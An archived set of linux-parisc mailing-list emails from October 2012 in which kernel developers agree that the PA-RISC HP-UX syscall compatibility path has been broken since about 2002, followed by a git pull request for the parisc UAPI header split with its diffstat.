	<20121004122201.GI23473@ZenIV.linux.org.uk>
	<1349355474.2706.21.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1349389711 29968 80.91.229.3 (4 Oct 2012 22:28:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2012 22:28:31 +0000 (UTC)
Cc: Al Viro <viro@zeniv.linux.org.uk>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 00:28:32 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TJtYL-0001w8-7w
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 00:05:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932628Ab2JDNaY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Oct 2012 09:30:24 -0400
Original-Received: from mail-ie0-f174.google.com ([209.85.223.174]:53942 "EHLO
	mail-ie0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932819Ab2JDNaR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Oct 2012 09:30:17 -0400
Original-Received: by mail-ie0-f174.google.com with SMTP id k13so897528iea.19
        for <linux-parisc@vger.kernel.org>; Thu, 04 Oct 2012 06:30:17 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:x-originating-ip:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type:x-gm-message-state;
        bh=HNS/dRucJT+nJ86mLnD5yic8qimDmu3lqNX8PaVrUhM=;
        b=KcTGMlrn57WuWIp8TIBR99dNwaOarv1wABfDbxr7zvYeEgOkVrAFBcYEFr4syThzKx
         QHOeydk1dykSmoiu0r95gmTYW6IuZiu6dPxUufNCpaUi/DKm77Uu+Fga8MkGnlsEYZ64
         acTrNuftyShkq1faviMebV/7Mn3n9MoH28vb/cZw78ON/wKdvPYi6fyYICVpn+YIq/ra
         zLEAYZ4csJmeMwWznZFrDppjnMRstzKrm5m3pHsdi9lhxYTgxOJguNZfgiz9nJd4xI9F
         qL8aDd160Vbv/oQvsiayh0CpegRTfDREPRdaWS1eYwPI/ZB+MJ3y1Mdp5VuAzZmu2/c8
         upKQ==
Original-Received: by 10.50.178.106 with SMTP id cx10mr15534202igc.24.1349357416865;
 Thu, 04 Oct 2012 06:30:16 -0700 (PDT)
Original-Received: by 10.42.148.67 with HTTP; Thu, 4 Oct 2012 06:30:16 -0700 (PDT)
X-Originating-IP: [67.71.83.60]
In-Reply-To: <1349355474.2706.21.camel@dabdike.int.hansenpartnership.com>
X-Gm-Message-State: ALoCoQkUrNhmNUnx3QeC/BIe6QoIv3CDlyME/2gIvLTjzw7SPV1dhZv5iIQp5nKVDAxddsP1PBEd
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4596
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4596>

On Thu, Oct 4, 2012 at 8:57 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
>> Unless I'm missing something really subtle, it looks like HPUX compat had
>> been very noticably broken since at least 2002.  Comments?
>
> I think it probably has.  I don't believe there's anyone left with hpux
> binaries actually checking it.

Was the HPUX support ever completed?

I had HPUX/Linux dual-boot on one of my systems and I was never able
to run an HPUX binary correctly.

Someone with the time and inclination is all that is missing to
cleanup the rotten HPUX bits.

There is no need to keep any of it around, that's what version control is for.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Thu, 4 Oct 2012 15:07:59 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20121004140759.GK23473@ZenIV.linux.org.uk>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
 <20121004051359.GA24664@ZenIV.linux.org.uk>
 <1349344936.2706.10.camel@dabdike.int.hansenpartnership.com>
 <20121004122201.GI23473@ZenIV.linux.org.uk>
 <1349355474.2706.21.camel@dabdike.int.hansenpartnership.com>
 <CAE2sS1jrFOgwt3xRsnDv5uQ7kYx16vy+nEeK5oGpD3Yd-7fVfQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1349389835 31908 80.91.229.3 (4 Oct 2012 22:30:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2012 22:30:35 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 00:30:37 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TJtZE-0001w8-Uf
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 00:06:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933283Ab2JDOIE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Oct 2012 10:08:04 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:55492 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933139Ab2JDOIE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Oct 2012 10:08:04 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1TJm5n-0006x6-Cv; Thu, 04 Oct 2012 14:07:59 +0000
Content-Disposition: inline
In-Reply-To: <CAE2sS1jrFOgwt3xRsnDv5uQ7kYx16vy+nEeK5oGpD3Yd-7fVfQ@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4597
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4597>

On Thu, Oct 04, 2012 at 09:30:16AM -0400, Carlos O'Donell wrote:
> On Thu, Oct 4, 2012 at 8:57 AM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> >> Unless I'm missing something really subtle, it looks like HPUX compat had
> >> been very noticably broken since at least 2002.  Comments?
> >
> > I think it probably has.  I don't believe there's anyone left with hpux
> > binaries actually checking it.
> 
> Was the HPUX support ever completed?
> 
> I had HPUX/Linux dual-boot on one of my systems and I was never able
> to run an HPUX binary correctly.
> 
> Someone with the time and inclination is all that is missing to
> cleanup the rotten HPUX bits.
> 
> There is no need to keep any of it around, that's what version control is for.

FWIW, parisc seems to be the last architecture to keep such thing - sparc
and mips had dropped SunOS/Solaris/IRIX compat, iBCS* is long-dead (and hadn't
been in mainline kernel anyway).  Alpha might still be able to run some OSF
binaries, but there the situation is different - no alternative syscall
entry codepath, Linux just uses the same ABI and shares syscall numbers
where possible...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Thu, 04 Oct 2012 13:57:54 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <1349355474.2706.21.camel@dabdike.int.hansenpartnership.com>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
	 <20121004051359.GA24664@ZenIV.linux.org.uk>
	 <1349344936.2706.10.camel@dabdike.int.hansenpartnership.com>
	 <20121004122201.GI23473@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349389886 32641 80.91.229.3 (4 Oct 2012 22:31:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2012 22:31:26 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 00:31:30 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TJtXr-0001w8-EN
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 00:05:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754147Ab2JDM56 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Oct 2012 08:57:58 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48580 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753048Ab2JDM55 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Oct 2012 08:57:57 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4B6808EE0E6;
	Thu,  4 Oct 2012 05:57:57 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 0gSbKjlCc6tF; Thu,  4 Oct 2012 05:57:57 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 533A48EE0CE;
	Thu,  4 Oct 2012 05:57:56 -0700 (PDT)
In-Reply-To: <20121004122201.GI23473@ZenIV.linux.org.uk>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4598
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4598>

On Thu, 2012-10-04 at 13:22 +0100, Al Viro wrote:
> On Thu, Oct 04, 2012 at 11:02:16AM +0100, James Bottomley wrote:
> 
> > It's plausible.  I just verified the theory that the branch is redundant
> > by successfully booting with this patch applied.
> 
> Somewhat related question: does CONFIG_HPUX work at all?

I don't believe so.  It's been bitrotting for some time.

>   What we have there
> is this:
>         mfctl   %cr30,%r1
>         xor     %r1,%r30,%r30                   /* ye olde xor trick */
>         xor     %r1,%r30,%r1
>         xor     %r1,%r30,%r30
>         ldo     TASK_SZ_ALGN+FRAME_SIZE(%r30),%r30  /* set up kernel stack */
> followed by saving registers into &((struct task_struct *)cr30)->thread.regs.
> cr30 contains something very different, though - struct thread_info *.
> Had been that way since 2002 or so.  And after we'd been finished with
> syscall, we'll get to hpux_syscall_exit, tweak r22/r28 a bit and
> sod off to syscall_exit.  Which does
>         mfctl     %cr30, %r1
>         LDREG     TI_TASK(%r1),%r1
> and eventually restores the values of registers saved in
> &(struct task_struct)r1->thread.regs.  Except that here the value of r1 is
> ((struct thread_info *)cr30)->task, not cr30 itself.  Which matches what we
> have in current.h (and do_fork(), etc.), but not what we'd done when we
> entered the syscall.  IOW, the values we restore will have nothing to do
> with what we saved.
> 
> Unless I'm missing something really subtle, it looks like HPUX compat had
> been very noticably broken since at least 2002.  Comments?

I think it probably has.  I don't believe there's anyone left with hpux
binaries actually checking it.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Thu, 4 Oct 2012 13:22:01 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20121004122201.GI23473@ZenIV.linux.org.uk>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
 <20121004051359.GA24664@ZenIV.linux.org.uk>
 <1349344936.2706.10.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1349389901 425 80.91.229.3 (4 Oct 2012 22:31:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2012 22:31:41 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 00:31:44 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TJtXH-0001w8-I9
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 00:04:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755985Ab2JDMWF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Oct 2012 08:22:05 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:56720 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756004Ab2JDMWF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Oct 2012 08:22:05 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1TJkRF-0005K8-QI; Thu, 04 Oct 2012 12:22:01 +0000
Content-Disposition: inline
In-Reply-To: <1349344936.2706.10.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4599
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4599>

On Thu, Oct 04, 2012 at 11:02:16AM +0100, James Bottomley wrote:

> It's plausible.  I just verified the theory that the branch is redundant
> by successfully booting with this patch applied.

Somewhat related question: does CONFIG_HPUX work at all?  What we have there
is this:
        mfctl   %cr30,%r1
        xor     %r1,%r30,%r30                   /* ye olde xor trick */
        xor     %r1,%r30,%r1
        xor     %r1,%r30,%r30
        ldo     TASK_SZ_ALGN+FRAME_SIZE(%r30),%r30  /* set up kernel stack */
followed by saving registers into &((struct task_struct *)cr30)->thread.regs.
cr30 contains something very different, though - struct thread_info *.
Had been that way since 2002 or so.  And after we'd been finished with
syscall, we'll get to hpux_syscall_exit, tweak r22/r28 a bit and
sod off to syscall_exit.  Which does
        mfctl     %cr30, %r1
        LDREG     TI_TASK(%r1),%r1
and eventually restores the values of registers saved in
&(struct task_struct)r1->thread.regs.  Except that here the value of r1 is
((struct thread_info *)cr30)->task, not cr30 itself.  Which matches what we
have in current.h (and do_fork(), etc.), but not what we'd done when we
entered the syscall.  IOW, the values we restore will have nothing to do
with what we saved.

Unless I'm missing something really subtle, it looks like HPUX compat had
been very noticably broken since at least 2002.  Comments?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] Disintegrate UAPI for parisc
Date: Thu, 04 Oct 2012 20:51:39 +0100
Lines: 211
Approved: news@gmane.org
Message-ID: <17400.1349380299@warthog.procyon.org.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1349390463 9907 80.91.229.3 (4 Oct 2012 22:41:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2012 22:41:03 +0000 (UTC)
Cc: dhowells@redhat.com, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 00:41:04 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TJth0-00033L-9P
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 00:14:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757406Ab2JDTvp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Oct 2012 15:51:45 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:55484 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757216Ab2JDTvo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Oct 2012 15:51:44 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q94JpfXx026805
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 4 Oct 2012 15:51:41 -0400
Original-Received: from warthog.procyon.org.uk (ovpn-113-54.phx2.redhat.com [10.3.113.54])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q94JpdlD002021;
	Thu, 4 Oct 2012 15:51:39 -0400
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4600 gmane.linux.kernel:1370100
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4600>

Can you merge the following branch into the parisc tree please.

This is to complete part of the UAPI disintegration for which the preparatory
patches were pulled recently.

Note that there are some fixup patches which are at the base of the branch
aimed at you, plus all arches get the asm-generic branch merged in too.

The following changes since commit 612a9aab56a93533e76e3ad91642db7033e03b69:

  Merge branch 'drm-next' of git://people.freedesktop.org/~airlied/linux (2012-10-03 23:29:23 -0700)

are available in the git repository at:


  git://git.infradead.org/users/dhowells/linux-headers.git disintegrate-parisc

for you to fetch changes up to 36141239e2e08d847531d4d81d5e82c10835f2d5:

  UAPI: (Scripted) Disintegrate arch/parisc/include/asm (2012-10-04 18:21:12 +0100)

----------------------------------------------------------------
David Howells (6):
      UAPI: Fix the guards on various asm/unistd.h files
      UAPI: Split compound conditionals containing __KERNEL__ in Arm64
      Merge remote-tracking branch 'c6x/for-linux-next' into uapi-prep
      UAPI: Fix conditional header installation handling (notably kvm_para.h on m68k)
      UAPI: (Scripted) Disintegrate include/asm-generic
      UAPI: (Scripted) Disintegrate arch/parisc/include/asm

Mark Salter (2):
      c6x: make dsk6455 the default config
      c6x: remove c6x signal.h

 arch/arm64/include/asm/hwcap.h                   |   4 +-
 arch/arm64/include/asm/stat.h                    |   4 +-
 arch/arm64/include/asm/unistd.h                  |   8 +-
 arch/arm64/include/asm/unistd32.h                |   4 -
 arch/c6x/Makefile                                |   2 +
 arch/c6x/include/asm/Kbuild                      |   1 +
 arch/c6x/include/asm/signal.h                    |  17 -
 arch/c6x/include/asm/unistd.h                    |   4 -
 arch/hexagon/include/asm/unistd.h                |   5 -
 arch/openrisc/include/asm/unistd.h               |   5 -
 arch/parisc/include/asm/Kbuild                   |   2 -
 arch/parisc/include/asm/pdc.h                    | 423 +----------
 arch/parisc/include/asm/ptrace.h                 |  46 +-
 arch/parisc/include/asm/signal.h                 | 113 +--
 arch/parisc/include/asm/termios.h                |  41 +-
 arch/parisc/include/asm/unistd.h                 | 835 +--------------------
 arch/parisc/include/uapi/asm/Kbuild              |  32 +
 arch/parisc/include/{ => uapi}/asm/auxvec.h      |   0
 arch/parisc/include/{ => uapi}/asm/bitsperlong.h |   0
 arch/parisc/include/{ => uapi}/asm/byteorder.h   |   0
 arch/parisc/include/{ => uapi}/asm/errno.h       |   0
 arch/parisc/include/{ => uapi}/asm/fcntl.h       |   0
 arch/parisc/include/{ => uapi}/asm/ioctl.h       |   0
 arch/parisc/include/{ => uapi}/asm/ioctls.h      |   0
 arch/parisc/include/{ => uapi}/asm/ipcbuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/kvm_para.h    |   0
 arch/parisc/include/{ => uapi}/asm/mman.h        |   0
 arch/parisc/include/{ => uapi}/asm/msgbuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/param.h       |   0
 arch/parisc/include/uapi/asm/pdc.h               | 427 +++++++++++
 arch/parisc/include/{ => uapi}/asm/poll.h        |   0
 arch/parisc/include/{ => uapi}/asm/posix_types.h |   0
 arch/parisc/include/uapi/asm/ptrace.h            |  47 ++
 arch/parisc/include/{ => uapi}/asm/resource.h    |   0
 arch/parisc/include/{ => uapi}/asm/sembuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/setup.h       |   0
 arch/parisc/include/{ => uapi}/asm/shmbuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/sigcontext.h  |   0
 arch/parisc/include/{ => uapi}/asm/siginfo.h     |   0
 arch/parisc/include/uapi/asm/signal.h            | 118 +++
 arch/parisc/include/{ => uapi}/asm/socket.h      |   0
 arch/parisc/include/{ => uapi}/asm/sockios.h     |   0
 arch/parisc/include/{ => uapi}/asm/stat.h        |   0
 arch/parisc/include/{ => uapi}/asm/statfs.h      |   0
 arch/parisc/include/{ => uapi}/asm/swab.h        |   0
 arch/parisc/include/{ => uapi}/asm/termbits.h    |   0
 arch/parisc/include/uapi/asm/termios.h           |  43 ++
 arch/parisc/include/{ => uapi}/asm/types.h       |   0
 arch/parisc/include/uapi/asm/unistd.h            | 837 +++++++++++++++++++++
 arch/score/include/asm/unistd.h                  |   5 -
 arch/tile/include/asm/unistd.h                   |   5 -
 arch/unicore32/include/asm/unistd.h              |   4 -
 include/asm-generic/Kbuild                       |  35 -
 include/asm-generic/bitsperlong.h                |  13 +-
 include/asm-generic/int-l64.h                    |  26 +-
 include/asm-generic/int-ll64.h                   |  31 +-
 include/asm-generic/ioctl.h                      |  95 +--
 include/asm-generic/kvm_para.h                   |   5 +-
 include/asm-generic/param.h                      |  17 +-
 include/asm-generic/resource.h                   |  66 +-
 include/asm-generic/siginfo.h                    | 297 +-------
 include/asm-generic/signal.h                     | 117 +--
 include/asm-generic/statfs.h                     |  81 +-
 include/asm-generic/termios.h                    |  49 +-
 include/asm-generic/unistd.h                     | 911 +----------------------
 include/linux/Kbuild                             |   9 +-
 include/uapi/asm-generic/Kbuild                  |  35 +
 include/{ => uapi}/asm-generic/auxvec.h          |   0
 include/uapi/asm-generic/bitsperlong.h           |  15 +
 include/{ => uapi}/asm-generic/errno-base.h      |   0
 include/{ => uapi}/asm-generic/errno.h           |   0
 include/{ => uapi}/asm-generic/fcntl.h           |   0
 include/uapi/asm-generic/int-l64.h               |  34 +
 include/uapi/asm-generic/int-ll64.h              |  39 +
 include/uapi/asm-generic/ioctl.h                 |  98 +++
 include/{ => uapi}/asm-generic/ioctls.h          |   0
 include/{ => uapi}/asm-generic/ipcbuf.h          |   0
 include/{ => uapi}/asm-generic/mman-common.h     |   0
 include/{ => uapi}/asm-generic/mman.h            |   0
 include/{ => uapi}/asm-generic/msgbuf.h          |   0
 include/uapi/asm-generic/param.h                 |  19 +
 include/{ => uapi}/asm-generic/poll.h            |   0
 include/{ => uapi}/asm-generic/posix_types.h     |   0
 include/uapi/asm-generic/resource.h              |  68 ++
 include/{ => uapi}/asm-generic/sembuf.h          |   0
 include/{ => uapi}/asm-generic/setup.h           |   0
 include/{ => uapi}/asm-generic/shmbuf.h          |   0
 include/{ => uapi}/asm-generic/shmparam.h        |   0
 include/uapi/asm-generic/siginfo.h               | 298 ++++++++
 include/{ => uapi}/asm-generic/signal-defs.h     |   0
 include/uapi/asm-generic/signal.h                | 123 +++
 include/{ => uapi}/asm-generic/socket.h          |   0
 include/{ => uapi}/asm-generic/sockios.h         |   0
 include/{ => uapi}/asm-generic/stat.h            |   0
 include/uapi/asm-generic/statfs.h                |  83 +++
 include/{ => uapi}/asm-generic/swab.h            |   0
 include/{ => uapi}/asm-generic/termbits.h        |   0
 include/uapi/asm-generic/termios.h               |  50 ++
 include/{ => uapi}/asm-generic/types.h           |   0
 include/{ => uapi}/asm-generic/ucontext.h        |   0
 include/uapi/asm-generic/unistd.h                | 902 ++++++++++++++++++++++
 security/apparmor/Makefile                       |   2 +-
 102 files changed, 3304 insertions(+), 3246 deletions(-)
 delete mode 100644 arch/c6x/include/asm/signal.h
 rename arch/parisc/include/{ => uapi}/asm/auxvec.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/bitsperlong.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/byteorder.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/errno.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/fcntl.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/ioctl.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/ioctls.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/ipcbuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/kvm_para.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/mman.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/msgbuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/param.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/pdc.h
 rename arch/parisc/include/{ => uapi}/asm/poll.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/posix_types.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/ptrace.h
 rename arch/parisc/include/{ => uapi}/asm/resource.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/sembuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/setup.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/shmbuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/sigcontext.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/siginfo.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/signal.h
 rename arch/parisc/include/{ => uapi}/asm/socket.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/sockios.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/stat.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/statfs.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/swab.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/termbits.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/termios.h
 rename arch/parisc/include/{ => uapi}/asm/types.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/unistd.h
 rename include/{ => uapi}/asm-generic/auxvec.h (100%)
 create mode 100644 include/uapi/asm-generic/bitsperlong.h
 rename include/{ => uapi}/asm-generic/errno-base.h (100%)
 rename include/{ => uapi}/asm-generic/errno.h (100%)
 rename include/{ => uapi}/asm-generic/fcntl.h (100%)
 create mode 100644 include/uapi/asm-generic/int-l64.h
 create mode 100644 include/uapi/asm-generic/int-ll64.h
 create mode 100644 include/uapi/asm-generic/ioctl.h
 rename include/{ => uapi}/asm-generic/ioctls.h (100%)
 rename include/{ => uapi}/asm-generic/ipcbuf.h (100%)
